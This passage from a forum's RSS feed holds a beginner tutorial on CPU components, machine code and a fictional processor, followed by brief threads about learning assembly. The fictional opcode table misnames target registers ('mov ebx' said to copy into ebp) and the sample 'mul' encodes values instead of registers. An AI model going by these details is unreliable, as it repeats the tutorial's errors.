+--------------+-----------------+
 mov  ebx, 10   |  0xdd 0x0a
 mov  ebp,   4  |  0xde 0x04
 mul  ebp, ebx  |  0x01 0x0a 0x04
 halt           |  0xFF</code></div></div><span style="color: #32CD32;" class="mycode_color"><br />
<br />
So, our program requires 8 bytes of memory, thus our <span style="font-weight: bold;" class="mycode_b">RIP</span> is going to need to increment 7 times, because we start from 0.<br />
</span><br />
<br />
<span style="font-size: medium;" class="mycode_size"><span style="font-weight: bold;" class="mycode_b"><span style="color: #ffcc33;" class="mycode_color">-=-=-=={ </span><span style="color: #ff3333;" class="mycode_color">Conclusion</span><span style="color: #ffcc33;" class="mycode_color"> }==-=-=-</span></span></span><br />
<span style="color: #32CD32;" class="mycode_color"><br />
That's it folks, I hope you learned something new and that you enjoyed the time spent to read this. I will come back with more tutorials for assembly if you guys want it. As we go down the road, I might start discussing about more complex things. Don't forget to rep me if I helped you somehow, and look at the resources section to learn more about the topics covered today.<br />
Thanks again for your time, cheers ! <img src="https://sinister.ly/images/smilies/set/biggrin.png" alt="Biggrin" title="Biggrin" class="smilie smilie_28" /><br />
</span><br />
<br />
<span style="font-size: medium;" class="mycode_size"><span style="font-weight: bold;" class="mycode_b"><span style="color: #ffcc33;" class="mycode_color">-=-=-=={ </span><span style="color: #ff3333;" class="mycode_color">External Resources</span><span style="color: #ffcc33;" class="mycode_color"> }==-=-=-</span></span></span><br />
<a href="https://www.differencebetween.com/difference-between-x86-and-vs-x64/" target="_blank" class="mycode_url"><span style="color: #C71585;" class="mycode_color">https://www.differencebetween.com/difference-between-x86-and-vs-x64/</span></a><br />
<a href="https://stackoverflow.com/questions/36529449/why-are-rbp-and-rsp-called-general-purpose-registers" target="_blank" class="mycode_url"><span style="color: #C71585;" class="mycode_color">https://stackoverflow.com/questions/36529449/why-are-rbp-and-rsp-called-general-purpose-registers</span></a><br />
<a href="https://www.quora.com/What-is-register-Explain-the-types-of-registers?share=1" target="_blank" class="mycode_url"><span style="color: #C71585;" class="mycode_color">https://www.quora.com/What-is-register-Explain-the-types-of-registers?share=1</span></a><br />
<a href="http://ecomputernotes.com/fundamental/input-output-and-memory/what-is-registers-function-performed-by-registers-types-of-registers" target="_blank" class="mycode_url"><span style="color: #C71585;" class="mycode_color">http://ecomputernotes.com/fundamental/input-output-and-memory/what-is-registers-function-performed-by-registers-types-of-registers</span></a><br />
<a href="http://ecomputernotes.com/fundamental/introduction-to-computer/control-unit" target="_blank" class="mycode_url"><span style="color: #C71585;" class="mycode_color">http://ecomputernotes.com/fundamental/introduction-to-computer/control-unit</span></a><br />
<a href="https://www.techopedia.com/definition/8179/machine-code-mc" target="_blank" class="mycode_url"><span style="color: #C71585;" class="mycode_color">https://www.techopedia.com/definition/8179/machine-code-mc</span></a>]]></description>
			<content:encoded><![CDATA[<span style="font-size: medium;" class="mycode_size"><span style="font-weight: bold;" class="mycode_b"><span style="color: #ffcc33;" class="mycode_color">-=-=-=={ </span><span style="color: #ff3333;" class="mycode_color">Introduction</span><span style="color: #ffcc33;" class="mycode_color"> }==-=-=-</span></span></span><br />
<span style="color: #32CD32;" class="mycode_color">Greetings all, today I will be talking about assembly: what it is, how to use it and some external resources to learn more. I hope this will help the newcomers to get a feeling about it and know where to look for in the future.</span><br />
<br />
<span style="font-weight: bold;" class="mycode_b"><span style="color: #32CD32;" class="mycode_color">Disclaimer:  I'm by no means an expert in assembly, thus all I'm going to present it's based on self-research and experience along the years. Therefore, any productive criticism is welcomed.</span></span><br />
<br />
<span style="font-size: medium;" class="mycode_size"><span style="font-weight: bold;" class="mycode_b"><span style="color: #ffcc33;" class="mycode_color">-=-=-=={ </span><span style="color: #ff3333;" class="mycode_color">You need to know this in order to continue</span><span style="color: #ffcc33;" class="mycode_color"> }==-=-=-</span></span></span><br />
<br />
<span style="font-size: small;" class="mycode_size"><br />
<span style="color: #ff3333;" class="mycode_color">The CPU</span><br />
<span style="color: #ffcc33;" class="mycode_color">========</span></span><br />
<br />
<span style="color: #32CD32;" class="mycode_color">The CPU is one of the most important components that computers have. Thus, understanding how it works and how it communicates with other components it's an essential part in order to learn assembly. So let's have a look at what is composed of:</span><ul class="mycode_list"><li>A set of registers<br />
</li>
<li>An Arithmetic-Logic Unit (ALU)<br />
</li>
<li>Some control logic.<br />
</li>
</ul>
<span style="color: #32CD32;" class="mycode_color"><br />
<br />
<span style="font-weight: bold;" class="mycode_b">1. Registers</span><br />
Let's start by looking first at the registers.<br />
Registers are just a small piece of memory inside the CPU that are used to quickly accept, store, and transfer data. Because they are so close to the CPU, they are super fast at doing their job. There are different types of registers as well, that indicate different things. For example the RSP and RBP are some of those for the 64bit architecture:</span><ul class="mycode_list"><li>RBP point to the base of the current stack frame<br />
</li>
<li>RSP point to the top of the current stack frame<br />
</li>
</ul>
<span style="color: #32CD32;" class="mycode_color"><br />
They can be numbered starting from 0 like the memory or they can be named. <br />
Don't bother to much for now with what they're doing and how to use them, I will explain it more later. For now, just remember that registers are a small piece of memory inside the CPU that helps it to execute, store and transfer data.<br />
</span><br />
<br />
<span style="color: #32CD32;" class="mycode_color"><br />
<span style="font-weight: bold;" class="mycode_b">2. The ALU</span><br />
The Arithmetic-Logic Unit is basically just performing arithmetic and logic operations. It can add, subtract, multiply, divide, xor, and, or, etc. That's pretty much what a computer does most of the time. <br />
The ALU performs those operations with the values stored in the registers or values taken from memory. For storing them it uses the registers or it stores the values in a memory address. The available options actually depends on the processor. Yeah, that was pretty much it for the ALU.<br />
<br />
<span style="font-weight: bold;" class="mycode_b">3. The Control Unit</span><br />
The last part of the CPU that we are interested in is the Control Unit. The Control Unit is anything else inside the processor except the registers and the ALU (branch prediction unit, cache management, bus signaling, pipeline management, etc). However, it has some functionality that we are interested in and that's pretty mandatory.<br />
One of those being to control the CPU external interface. In other words, the state of all those little pins that go out of the CPU chip. Using these pins, the processor can talk to the memory to read and write values and can also interface to different types of hardware…<br />
<br />
Basically when the ALU needs some data from memory for performing an operation, it asks the control unit to activate the right pins on the processor to command the memory chip to read or write a given memory position. To better visualize this I found this picture on the internet that might help:<br />
<br />
<img src="https://www.computerhope.com/jargon/m/machine-cycle.jpg" loading="lazy" alt="[Image: machine-cycle.jpg]" class="mycode_img" /><br />
<br />
Here are some other functions of the Control Unit:</span><ul class="mycode_list"><li>Regulate transfers of information between memory and I/O.<br />
</li>
<li>Fetches and decodes instructions from microprograms.<br />
</li>
<li>Responsible for correct instruction execution between a processor's many sub-units.<br />
</li>
<li>Control unit converts received information into sequence of control signals, and transfer to computer processor.<br />
</li>
<li>It controls data flow inside the computer processor.<br />
</li>
</ul>
<br />
<span style="font-size: medium;" class="mycode_size"><span style="font-weight: bold;" class="mycode_b"><span style="color: #ffcc33;" class="mycode_color">-=-=-=={ </span><span style="color: #ff3333;" class="mycode_color">Machine Code</span><span style="color: #ffcc33;" class="mycode_color"> }==-=-=-</span></span></span><br />
<span style="color: #32CD32;" class="mycode_color"><br />
Machine code is binary (1's and 0's) code that can be executed directly by the CPU. If you were to open a machine code file in a text editor you would see garbage, including unprintable characters.<br />
So in the old days, some tech savys thought of a way to be easier for us, humans, to understand and write machine code. Therefore assembly was created. You can think of it as a mapping between 0's and 1's to words.<br />
However, keep in mind that the CPU doesn't understand assembly, thus we write assembly code and with the help of an assembler or a compiler, we convert the assembly to machine code.</span><br />
<br />
<span style="font-size: medium;" class="mycode_size"><span style="font-weight: bold;" class="mycode_b"><span style="color: #ffcc33;" class="mycode_color">-=-=-=={ </span><span style="color: #ff3333;" class="mycode_color">A simple fictional processor</span><span style="color: #ffcc33;" class="mycode_color"> }==-=-=-</span></span></span><br />
<span style="color: #32CD32;" class="mycode_color"><br />
Ok, now you should have a basic understanding of how processors work, so let's make a fictional one. We will call it from now on HAM-201.<br />
Now, in order to proceed I need to step back for a little and start explaining what the <span style="font-weight: bold;" class="mycode_b">Instruction Pointer ( IP )</span> is. This is a special register that indicates which memory address in the main memory contains the next instruction to run. Whenever the CPU executes an instruction, this register increments by one ( unless it's a jump/branch instruction  ) therefore moving to the next address to execute.<br />
<br />
Now let's take a look at the specifications for our processor:</span><br />
<ol type="1" class="mycode_list"><li>We will have 3 registers: <span style="font-weight: bold;" class="mycode_b">EBX</span>, <span style="font-weight: bold;" class="mycode_b">EBP</span> and <span style="font-weight: bold;" class="mycode_b">RIP</span>, the last one being the instruction pointer.<br />
</li>
<li>The ALU can perform just a <span style="font-weight: bold;" class="mycode_b">MUL</span> --&gt; multiplying 2 numbers<br />
</li>
<li>It will have an instruction <span style="font-weight: bold;" class="mycode_b">MOV</span> to assign values to registers<br />
</li>
</ol>
<span style="color: #32CD32;" class="mycode_color"><br />
Now we need to define what instructions it can run. In our case, this will look something like this:<br />
</span><br />
<div class="codeblock"><div class="title">Code:</div><div class="body" dir="ltr"><code>OPCODE        |  Assembly          | Description
--------------+--------------------+-------------------------------------------------------------------------
0xdd xx       | mov ebx,  xx       | Copies the value in xx into the ebp register
0xde xx       | mov ebp,  xx       | Copies the value in xx into the esp register
0x01 xx  yy   | mul  xx,  yy       | Multiplies the values of registers xx and yy and stores the result in the xx register.
0x90          | nop                | No operation, does nothing
0xFF          | halt               | Stops the CPU
---------------------------------------------------------------------------------------------------</code></div></div><span style="color: #32CD32;" class="mycode_color"><br />
<br />
<br />
As you can see we have 3 columns, the first one is containing the actual machine code, second one the assembly and the 3rd one is a short description.<br />
Now let's go and build our first program ! <img src="https://sinister.ly/images/smilies/set/biggrin.png" alt="Biggrin" title="Biggrin" class="smilie smilie_28" /><br />
</span><br />
<br />
<span style="font-size: medium;" class="mycode_size"><span style="font-weight: bold;" class="mycode_b"><span style="color: #ffcc33;" class="mycode_color">-=-=-=={ </span><span style="color: #ff3333;" class="mycode_color">Our first program</span><span style="color: #ffcc33;" class="mycode_color"> }==-=-=-</span></span></span><br />
<span style="color: #32CD32;" class="mycode_color"><br />
Let's make a simple program that multiplies 2 numbers.</span><br />
<div class="codeblock"><div class="title">Code:</div><div class="body" dir="ltr"><code>   Assembly    |  Machine Code   |
+--------------+-----------------+
 mov  ebx, 10   |  0xdd 0x0a
 mov  ebp,   4  |  0xde 0x04
 mul  ebp, ebx  |  0x01 0x0a 0x04
 halt           |  0xFF</code></div></div><span style="color: #32CD32;" class="mycode_color"><br />
<br />
So, our program requires 8 bytes of memory, thus our <span style="font-weight: bold;" class="mycode_b">RIP</span> is going to need to increment 7 times, because we start from 0.<br />
</span><br />
<br />
<span style="font-size: medium;" class="mycode_size"><span style="font-weight: bold;" class="mycode_b"><span style="color: #ffcc33;" class="mycode_color">-=-=-=={ </span><span style="color: #ff3333;" class="mycode_color">Conclusion</span><span style="color: #ffcc33;" class="mycode_color"> }==-=-=-</span></span></span><br />
<span style="color: #32CD32;" class="mycode_color"><br />
That's it folks, I hope you learned something new and that you enjoyed the time spent to read this. I will come back with more tutorials for assembly if you guys want it. As we go down the road, I might start discussing about more complex things. Don't forget to rep me if I helped you somehow, and look at the resources section to learn more about the topics covered today.<br />
Thanks again for your time, cheers ! <img src="https://sinister.ly/images/smilies/set/biggrin.png" alt="Biggrin" title="Biggrin" class="smilie smilie_28" /><br />
</span><br />
<br />
<span style="font-size: medium;" class="mycode_size"><span style="font-weight: bold;" class="mycode_b"><span style="color: #ffcc33;" class="mycode_color">-=-=-=={ </span><span style="color: #ff3333;" class="mycode_color">External Resources</span><span style="color: #ffcc33;" class="mycode_color"> }==-=-=-</span></span></span><br />
<a href="https://www.differencebetween.com/difference-between-x86-and-vs-x64/" target="_blank" class="mycode_url"><span style="color: #C71585;" class="mycode_color">https://www.differencebetween.com/difference-between-x86-and-vs-x64/</span></a><br />
<a href="https://stackoverflow.com/questions/36529449/why-are-rbp-and-rsp-called-general-purpose-registers" target="_blank" class="mycode_url"><span style="color: #C71585;" class="mycode_color">https://stackoverflow.com/questions/36529449/why-are-rbp-and-rsp-called-general-purpose-registers</span></a><br />
<a href="https://www.quora.com/What-is-register-Explain-the-types-of-registers?share=1" target="_blank" class="mycode_url"><span style="color: #C71585;" class="mycode_color">https://www.quora.com/What-is-register-Explain-the-types-of-registers?share=1</span></a><br />
<a href="http://ecomputernotes.com/fundamental/input-output-and-memory/what-is-registers-function-performed-by-registers-types-of-registers" target="_blank" class="mycode_url"><span style="color: #C71585;" class="mycode_color">http://ecomputernotes.com/fundamental/input-output-and-memory/what-is-registers-function-performed-by-registers-types-of-registers</span></a><br />
<a href="http://ecomputernotes.com/fundamental/introduction-to-computer/control-unit" target="_blank" class="mycode_url"><span style="color: #C71585;" class="mycode_color">http://ecomputernotes.com/fundamental/introduction-to-computer/control-unit</span></a><br />
<a href="https://www.techopedia.com/definition/8179/machine-code-mc" target="_blank" class="mycode_url"><span style="color: #C71585;" class="mycode_color">https://www.techopedia.com/definition/8179/machine-code-mc</span></a>]]></content:encoded>
		</item>
		<item>
			<title><![CDATA[CISC and RISC programming!]]></title>
			<link>https://sinister.ly/Thread-CISC-and-RISC-programming</link>
			<pubDate>Wed, 26 Sep 2018 19:53:36 +0000</pubDate>
			<dc:creator><![CDATA[<a href="https://sinister.ly/member.php?action=profile&uid=97126">darkninja1980</a>]]></dc:creator>
			<guid isPermaLink="false">https://sinister.ly/Thread-CISC-and-RISC-programming</guid>
			<description><![CDATA[Which one is better in learning  CISC and RISC  ?]]></description>
			<content:encoded><![CDATA[Which one is better in learning  CISC and RISC  ?]]></content:encoded>
		</item>
		<item>
			<title><![CDATA[what is the best books too read on assembly language ?]]></title>
			<link>https://sinister.ly/Thread-what-is-the-best-books-too-read-on-assembly-language</link>
			<pubDate>Sat, 22 Sep 2018 22:11:17 +0000</pubDate>
			<dc:creator><![CDATA[<a href="https://sinister.ly/member.php?action=profile&uid=97126">darkninja1980</a>]]></dc:creator>
			<guid isPermaLink="false">https://sinister.ly/Thread-what-is-the-best-books-too-read-on-assembly-language</guid>
			<description><![CDATA[what is the best books too read on assembly language ?]]></description>
			<content:encoded><![CDATA[what is the best books too read on assembly language ?]]></content:encoded>
		</item>
		<item>
			<title><![CDATA[Assembly Programming Tutorial]]></title>
			<link>https://sinister.ly/Thread-Tutorial-Assembly-Programming-Tutorial</link>
			<pubDate>Sat, 22 Sep 2018 09:20:26 +0000</pubDate>
			<dc:creator><![CDATA[<a href="https://sinister.ly/member.php?action=profile&uid=97126">darkninja1980</a>]]></dc:creator>
			<guid isPermaLink="false">https://sinister.ly/Thread-Tutorial-Assembly-Programming-Tutorial</guid>
			<description><![CDATA[I found two websites that have a good tutorial Assembly Programming Language. Here is the links below. <br />
<a href="https://hackr.io/tutorials/learn-assembly-language" target="_blank" class="mycode_url">https://hackr.io/tutorials/learn-assembly-language</a><br />
<a href="https://www.tutorialspoint.com/assembly_programming/index.htm" target="_blank" class="mycode_url">https://www.tutorialspoint.com/assembly_.../index.htm</a>]]></description>
			<content:encoded><![CDATA[I found two websites that have a good tutorial Assembly Programming Language. Here is the links below. <br />
<a href="https://hackr.io/tutorials/learn-assembly-language" target="_blank" class="mycode_url">https://hackr.io/tutorials/learn-assembly-language</a><br />
<a href="https://www.tutorialspoint.com/assembly_programming/index.htm" target="_blank" class="mycode_url">https://www.tutorialspoint.com/assembly_.../index.htm</a>]]></content:encoded>
		</item>
	</channel>
</rss>